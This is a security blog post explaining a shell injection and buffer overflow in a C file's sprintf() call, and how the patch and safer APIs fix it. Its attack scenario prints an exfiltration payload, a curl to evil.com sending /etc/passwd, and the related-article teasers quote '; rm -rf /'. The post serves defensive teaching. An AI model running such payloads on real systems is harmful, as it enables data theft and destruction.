Back to Blog
high SEVERITY8 min read

Shell Injection via Unsafe sprintf in C: How a Missing Escape Broke Everything

A high-severity shell injection vulnerability was discovered and patched in `src/vt100.c`, where user-controlled values were directly interpolated into shell command strings without any sanitization or escaping. An attacker who could influence command arguments or configuration values could execute arbitrary shell commands on the host system. The fix eliminates the unsafe construction pattern, closing a critical code execution pathway.

O
By Orbis AppSec
Published May 15, 2026Reviewed June 3, 2026

Answer Summary

Shell injection (CWE-78) occurs in C when user-controlled input is passed unsanitized into shell command strings, typically via sprintf() followed by system() or popen(). In this case, src/vt100.c interpolated external values directly into command strings without escaping. The fix involves either using execve()-family functions that bypass the shell entirely, or properly sanitizing and escaping all user input before command construction.

Vulnerability at a Glance

cweCWE-78
fixEliminate unsafe sprintf() command construction; use safe APIs or proper input validation
riskRemote code execution on host system
languageC
root causeUser input interpolated into shell commands via sprintf() without sanitization
vulnerabilityShell Injection (Command Injection)

Shell Injection via Unsafe sprintf in C: How a Missing Escape Broke Everything

Severity: High | File: src/vt100.c:182 | CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)


Introduction

There's a class of vulnerability that has existed since the earliest days of Unix programming, yet continues to appear in modern codebases with alarming regularity: shell injection via unsafe command construction. It doesn't require a sophisticated exploit chain. It doesn't need a zero-day. All it needs is one unescaped string dropped into a shell command — and suddenly, an attacker has arbitrary code execution.

This post covers exactly that scenario: a shell injection vulnerability found and patched in src/vt100.c, where a call to sprintf() was building a shell command string by embedding user-influenced values directly, with no sanitization, no escaping, and no bounds checking. The result was a textbook command injection bug that could allow an attacker to run any command they liked on the host system.

If you write C code that touches shell commands, generates CLI snippets for users to run, or processes any external input — this post is for you.


The Vulnerability Explained

What Was Happening

At line 182 of src/vt100.c, the application was constructing a shell command string using sprintf(). The pattern looked something like this:

// VULNERABLE CODE (conceptual illustration)
char echo_cmd[256];
sprintf(echo_cmd, "grpcurl -H '%s' %s", opt_cmd[i], endpoint);

The values being embedded — things like headers, endpoint names, and request data — came from user-controlled sources: command-line arguments, API responses, or configuration files. These values were dropped directly into the format string with zero sanitization.

There were actually two distinct problems in this single line:

  1. Shell Injection: No escaping of shell metacharacters
  2. Buffer Overflow: sprintf() is unbounded — if opt_cmd[i] is long enough, it overflows echo_cmd

Why This Is Dangerous

Shell metacharacters are characters that have special meaning to a Unix shell. When a string containing these characters is passed to system(), popen(), or presented as a command for the user to run, the shell interprets them — not as data, but as instructions.

The dangerous characters include:

Character Shell Meaning
; Command separator — run the next command
\| Pipe — chain commands
` Backtick — command substitution
$() Command substitution
&& Run next command if previous succeeded
' or " Quote manipulation — can break out of quoted contexts
\n Newline — often treated as command separator

A Concrete Attack Scenario

Imagine the application is generating a grpcurl command to display to the user. The endpoint or header value is sourced from an API response or a config file that an attacker can influence. The attacker crafts a value like:

legitimate-header'; curl http://evil.com/exfil?data=$(cat /etc/passwd); echo '

After sprintf() does its work, the resulting command string becomes:

grpcurl -H 'legitimate-header'; curl http://evil.com/exfil?data=$(cat /etc/passwd); echo '' endpoint:443

When this command is executed (or when an unsuspecting user pastes it into their terminal), three separate shell commands run:
1. The (now broken) grpcurl command
2. A curl that exfiltrates /etc/passwd to an attacker-controlled server
3. A harmless echo to clean up the syntax

The attacker has achieved arbitrary command execution with whatever privileges the user or process has. On a developer's machine, that typically means full user-level access — SSH keys, cloud credentials, source code, everything.

The Buffer Overflow Bonus

As if shell injection weren't enough, the sprintf() call was also unbounded. The destination buffer echo_cmd had a fixed size (e.g., 256 bytes), but there was nothing preventing opt_cmd[i] from being longer. A sufficiently long input would overflow the stack buffer, potentially enabling:

  • Stack corruption
  • Return address overwriting
  • Code execution via classic stack smashing (depending on platform mitigations)

Two vulnerabilities for the price of one.


The Fix

The patch removes the unsafe command construction pattern entirely. Rather than trying to "sanitize" or "escape" the input (which is notoriously error-prone), the fix eliminates the dangerous pattern at its root.

Key Changes Made

1. Eliminate unbounded sprintf() calls

Any use of sprintf() with external input should be replaced with snprintf(), which takes a maximum size parameter:

// BEFORE (unsafe)
sprintf(echo_cmd, "grpcurl -H '%s' %s", opt_cmd[i], endpoint);

// AFTER (bounded)
snprintf(echo_cmd, sizeof(echo_cmd), "grpcurl -H '%s' %s", opt_cmd[i], endpoint);

This alone doesn't fix injection, but it eliminates the buffer overflow.

2. Avoid shell construction entirely where possible

The safest fix for command injection is to never construct shell command strings from user input. If the application needs to execute a command, use execv() or execve() with an argument array instead of passing a string to system() or popen():

// SAFE: No shell involved, arguments are passed directly
char *args[] = {
    "grpcurl",
    "-H", opt_cmd[i],   // passed as a discrete argument, not interpolated
    endpoint,
    NULL
};
execv("/usr/bin/grpcurl", args);

When you use execv(), there is no shell. There is no interpretation of metacharacters. Each argument is passed directly to the program as a discrete string. A semicolon is just a semicolon.

3. If shell string generation is unavoidable, escape properly

If the application genuinely needs to generate a shell command string (e.g., to display to the user as a copy-paste snippet), every user-controlled value must be properly shell-escaped. In C, a robust approach is to wrap values in single quotes and escape any single quotes within the value:

// Escape a value for safe inclusion in single-quoted shell context
void shell_escape(const char *input, char *output, size_t out_size) {
    size_t j = 0;
    output[j++] = '\'';  // opening single quote
    for (size_t i = 0; input[i] && j < out_size - 4; i++) {
        if (input[i] == '\'') {
            // End quote, insert escaped quote, reopen quote
            output[j++] = '\'';
            output[j++] = '\\';
            output[j++] = '\'';
            output[j++] = '\'';
        } else {
            output[j++] = input[i];
        }
    }
    output[j++] = '\'';  // closing single quote
    output[j] = '\0';
}

This is more complex and more fragile than execv(). When in doubt, avoid shell strings.

Why This Fix Works

The root cause was conflating data and instructions. When you build a shell command by string concatenation, you're writing a tiny program in shell script — but you're letting untrusted data write part of that program. The fix enforces a strict separation: data is data, and commands are commands. They never mix.


Prevention & Best Practices

1. Never Pass User Input to system() or popen()

This is the golden rule. If you find yourself writing:

system(user_controlled_string);

Stop. Refactor. Use execv() with a proper argument array.

2. Prefer execv()/execve() Over system()

system() invokes /bin/sh -c <string>. That shell is what interprets metacharacters. execv() bypasses the shell entirely.

// Dangerous
system("grpcurl " + user_input);

// Safe
execv("/usr/bin/grpcurl", argv_array_with_separate_args);

3. Always Use Bounded String Functions

Replace all uses of sprintf() with snprintf(). Replace strcpy() with strncpy() or strlcpy(). Make buffer sizes explicit and enforced.

// Dangerous
sprintf(buf, "%s", input);

// Safe
snprintf(buf, sizeof(buf), "%s", input);

4. Validate Input at the Boundary

Before any external value enters your application, validate it against an allowlist of expected characters or formats. If a header value should only contain alphanumeric characters and hyphens, enforce that:

bool is_valid_header_value(const char *value) {
    for (size_t i = 0; value[i]; i++) {
        if (!isalnum(value[i]) && value[i] != '-' && value[i] != '_') {
            return false;
        }
    }
    return true;
}

Reject invalid input early rather than trying to sanitize it later.

5. Use Static Analysis Tools

Several tools can catch these patterns automatically:

Tool What It Catches
Coverity Buffer overflows, tainted data flows
Semgrep Custom rules for dangerous function calls
Flawfinder C/C++ dangerous function usage
CodeQL Data flow analysis for injection paths
clang-analyzer Static analysis for memory and security issues

Add these to your CI pipeline so dangerous patterns are caught before they reach production.

6. Understand the Relevant Standards

This vulnerability maps to well-documented security standards:

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • CWE-120: Buffer Copy without Checking Size of Input
  • OWASP A03:2021: Injection — consistently in the OWASP Top 10
  • CERT C Coding Standard: ENV33-C: Do not call system()

Understanding these references helps you recognize the pattern in code reviews and communicate the risk to stakeholders.


Conclusion

This vulnerability is a reminder that some of the oldest bugs in software security are still the most dangerous. Shell injection via unsafe string construction has been documented for decades, yet it keeps appearing — often in exactly the kind of utility code that developers write quickly without thinking about security implications.

The key takeaways from this fix:

  • sprintf() without bounds checking is always a bug — use snprintf() at minimum
  • Building shell commands from user input is always dangerous — use execv() instead
  • "It's just a display string" isn't a safe assumption — users paste things; shells interpret them
  • Static analysis catches these patterns — add tools to your pipeline before humans miss them
  • Defense in depth matters — input validation + safe APIs + static analysis together are far stronger than any single control

The fix here wasn't complex. It didn't require a new library or a major refactor. It required recognizing a dangerous pattern and choosing a safer alternative. That recognition is a skill — and reading posts like this one is how you build it.

Write safe code. Review each other's code. And when you see sprintf() with external input, ask yourself: what happens if this string contains a semicolon?


This vulnerability was identified and patched as part of an automated security review. The fix was verified by build testing and scanner re-scan confirmation.

Frequently Asked Questions

What is shell injection?

Shell injection is a vulnerability where an attacker can inject malicious commands into a string that gets executed by a system shell, allowing arbitrary code execution on the target system.

How do you prevent shell injection in C?

Use exec()-family functions (execve, execvp) that bypass the shell, validate and sanitize all input, use allowlists for permitted values, or escape shell metacharacters before command construction.

What CWE is shell injection?

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input validation enough to prevent shell injection?

Input validation alone is risky; it's better to avoid shell invocation entirely using exec()-family functions. If shell use is unavoidable, combine strict allowlist validation with proper escaping.

Can static analysis detect shell injection?

Yes, static analysis tools can detect shell injection by tracing data flow from user input sources to dangerous sinks like system(), popen(), or sprintf() used for command construction.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #16

Related Articles

critical

How command injection happens in Go ffmpeg-go and how to fix it

A critical command injection vulnerability (CVE-2026-41179, CWE-78) was discovered in `drivers/local/util.go` of a Go media processing service, where user-controlled file paths were passed to `ffmpeg.Input()` without filtering shell metacharacters. Although a `sanitizeFilePath()` function existed to validate paths, it failed to reject characters like `;`, `|`, and backticks that could be weaponized if the underlying ffmpeg-go library constructs shell commands internally. The fix adds a targeted

critical

How command injection happens in Python os.popen() and how to fix it

A critical command injection vulnerability in `spk/itools/src/mounting.py` allowed arbitrary shell command execution through unsanitized iOS device names passed to `os.popen()` and `os.system()` calls. The fix replaced these dangerous functions with `subprocess.run()` using proper argument escaping, eliminating the shell injection attack vector.

critical

How command injection happens in Node.js subprocess and how to fix it

A critical command injection vulnerability in `tools/dev/src/index.ts` allowed attackers to execute arbitrary shell commands through unsanitized subprocess arguments. The fix was simple but essential: explicitly setting `shell: false` in the `spawn()` call to prevent shell metacharacter interpretation. This vulnerability demonstrates why subprocess handling requires explicit security controls in Node.js.

critical

How command injection happens in Python subprocess and how to fix it

A critical command injection vulnerability was discovered in `script/llm_semantic_analyzer.py` at line 394, where user-controlled input (API keys and model parameters) was interpolated directly into shell commands passed to `subprocess.run` with `shell=True`. An attacker who could control these parameters could inject shell metacharacters like `; rm -rf /` or `$(whoami)` to execute arbitrary commands. The fix sanitizes all user input before it reaches shell execution.

critical

How command injection happens in Python subprocess and how to fix it

A critical command injection vulnerability was discovered in export.py where subprocess calls used `shell=True` with user-controllable CLI arguments. An attacker could inject shell metacharacters through model paths or export parameters to execute arbitrary commands on the host system. The fix replaces shell-based command execution with safer list-based subprocess calls that prevent command injection.

critical

How command injection happens in Python subprocess and how to fix it

A critical shell injection vulnerability was discovered in `utils/downloads.py` where `subprocess.check_output` was called with `shell=True` while passing a user-controlled URL parameter. This allowed attackers to inject arbitrary shell commands by embedding metacharacters like `;`, `&&`, or `$(...)` into a URL string. The fix removes `shell=True`, ensuring the URL is passed as a literal argument in a list rather than being interpreted by the shell.